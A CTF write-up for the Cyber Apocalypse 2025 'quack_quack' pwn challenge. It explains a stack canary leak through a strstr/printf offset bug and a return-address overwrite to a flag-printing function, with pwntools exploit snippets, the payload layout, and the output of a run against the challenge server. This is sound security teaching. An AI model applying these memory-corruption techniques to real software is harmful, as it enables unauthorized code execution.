Cyber Apocalypse 2025 - pwn_quackquack
This post is part of a series where I describe some Cyber Apocalypse 2025 CTF challenges I participated in.
The list of posts is as follows:
Enjoy!
pwn_quackquack
This was my first challenge solved in pwn.
In this challenge, we have the target binary (quack_quack
) and the glibc library file. The target binary’s
security is as follows:
$ checksec quack_quack
[*] 'quack_quack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
NX is enabled, meaning we can’t execute code from the stack, but PIE (ASLR) is disabled. This means we probably won’t need to leak addresses and can assume the binary will be at the 0x400000 base address in memory. It has stack canary enabled, so if we overflow some stack variable and want to replace the return address, we’ll have to bypass stack-canary protection.
A pseudo-code of the target is as follows:
unsigned __int64 duckling() {
char *v1; // [rsp+8h] [rbp-88h]
char buf[32]; // [rsp+10h] [rbp-80h] BYREF
char v3[88]; // [rsp+30h] [rbp-60h] BYREF
unsigned __int64 v4; // [rsp+88h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
memset(v3, 0, 80);
printf("Quack the Duck!\n\n> ");
fflush(_bss_start);
read(0, buf, 102uLL);
v1 = strstr(buf, "Quack Quack ");
if ( !v1 )
{ error(“Where are your Quack Manners?!\n”); exit(1312); } printf(“Quack Quack %s, ready to fight the Duck?\n\n> “, v1 + 32); read(0, v3, 106uLL); puts(“Did you really expect to win a fight against a Duck?!\n”); return v4 - __readfsqword(0x28u); }
The first memset
clears buf
:
memset(buf, 0, sizeof(buf));
No issue here. Then, we have a memset
on the variable v3
, clearing 80 bytes:
memset(v3, 0, 80);
Now, a QWORD is 8 bytes, so v3
is 88 bytes long. Thus, it clears all bytes except the last 8.
Then, it reads from stdin into buf
a maximum of 102 bytes:
read(0, buf, 102);
If we sum 32 plus 88, it gives 120. While it overflows buf
, writing
bytes into v3
, it doesn’t overflow v3
.
Then it searches for “Quack Quack " in buf
(that was read from stdin):
v1 = strstr((const char *)buf, "Quack Quack ");
It saves the location of this string in buf
in v1
. If it doesn’t find it, the program exits.
Then, it prints to stdout the location of “Quack Quack " plus 32:
printf("Quack Quack %s, ready to fight the Duck?\n\n> ", v1 + 32);
This goes beyond the “Quack Quack " string and, in some scenarios, overflows the stack buffers.
Finally, it reads 0x6A (106) bytes into v3
.
The search + print with offset is a very interesting gadget to leak data from the stack. We
could put a “Quack Quack " at the very end of the read length, 102 - sizeof(“Quack Quack “),
and it would print data at 90 + 32 (or 102 + 20) from the buf
location.
The stack memory structure is as follows:
0 1 2 3 4 ... 31|32 33 ... 119|120 121 ... 126 127
<---- buf ---->|<--- v3 ---->|<-- stack canary --->
Thus, we can place a “Quack Quack " at the end of v3
and let it dump the stack canary, for
example.
Stack Canary Leak
To determine the right location to put “Quack Quack “, consider the following rationale. Remember,
we have to skip the first byte of the stack canary. So the location for “Quack Quack " is: 121 - 32 = 89.
121 is the second byte of the stack canary, minus the offset of printf (v1 + 32
above).
conn.recvuntil(b"> ")
conn.sendline(b"_"*(0x58+1) + b"Quack Quack ")
response = conn.recvline(timeout=2)
canary_b = b'\x00' + response[len(b"Quack Quack "):len(b"Quack Quack ") + 7]
log.info("Found canary: %08x", u64(canary_b))
This should give:
[+] Starting local process './quack_quack': pid 3242
Launching local binary: quack_quack
[*] Found canary: e9d2ff3d78b3bb00
Now that we can bypass the stack canary, we can overwrite the return address and control the execution. But we want to be able to execute arbitrary code, or in this case, capture the flag.
Looking around in the target binary, we see that it readily provides a shellcode function, duck_attack
:
unsigned __int64 duck_attack() {
char buf; // [rsp+3h] [rbp-Dh] BYREF
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open("./flag.txt", 0);
i f ( fd < 0 ) {
perror("\nError opening flag.txt, please contact an Administrator\n");
exit(1);
}
while ( r ead(fd, &buf , 1uLL) > 0 )
fputc(buf, _bss_start);
close(fd);
return v3 - __readfsqword(0x28u);
}
Thus, since ASLR is disabled in this binary, we just need to change the return address to the duck_attack
function.
Jump to duck_quack
To change the return address, we rely on the second read
call, which reads 106 bytes into buf
. From
the stack structure, the return address is at 128 + 8 (due to the saved RBP in the stack), which is 136.
Note: in the second read
, it is not passing buf
; instead, it uses v3
, which in practice is buf+32
.
Our payload is as follows:
0 1 2 ... 87|88 89 ... 97|98 ... 105|106 ... 114
<-- dummy-->|<-- stack canary --->|<-- RBP -->|<-- RET -->
xxxxxxxxxxxx|00 SS SS SS SS SS SS SS |xx xx xx...|7f 13 40
Where 0x40137f is the location of duck_attack
.
The code for this is:
conn.recvuntil(b"> ")
conn.sendline(b'_'*88 + canary_b + b'_'*8 + b'\x7f\x13\x40')
response = conn.recvline(timeout=2)
And the output during the challenge was:
$ python3 solve.py --remote --host 94.237.60.20 --port 33790
[+] Opening connection to 94.237.60.20 on port 33790: Done
Connecting to 94.237.60.20:33790
[*] Found canary: db3f8e257f319900
[*] Switching to interactive mode
HTB{~c4n4ry_g035_qu4ck_qu4ck~_b200cf1ee63f87af0230a1eac9f61003}
[*] Got EOF while reading in interactive
$
The full solution can be found in pwn_quack_quack.py.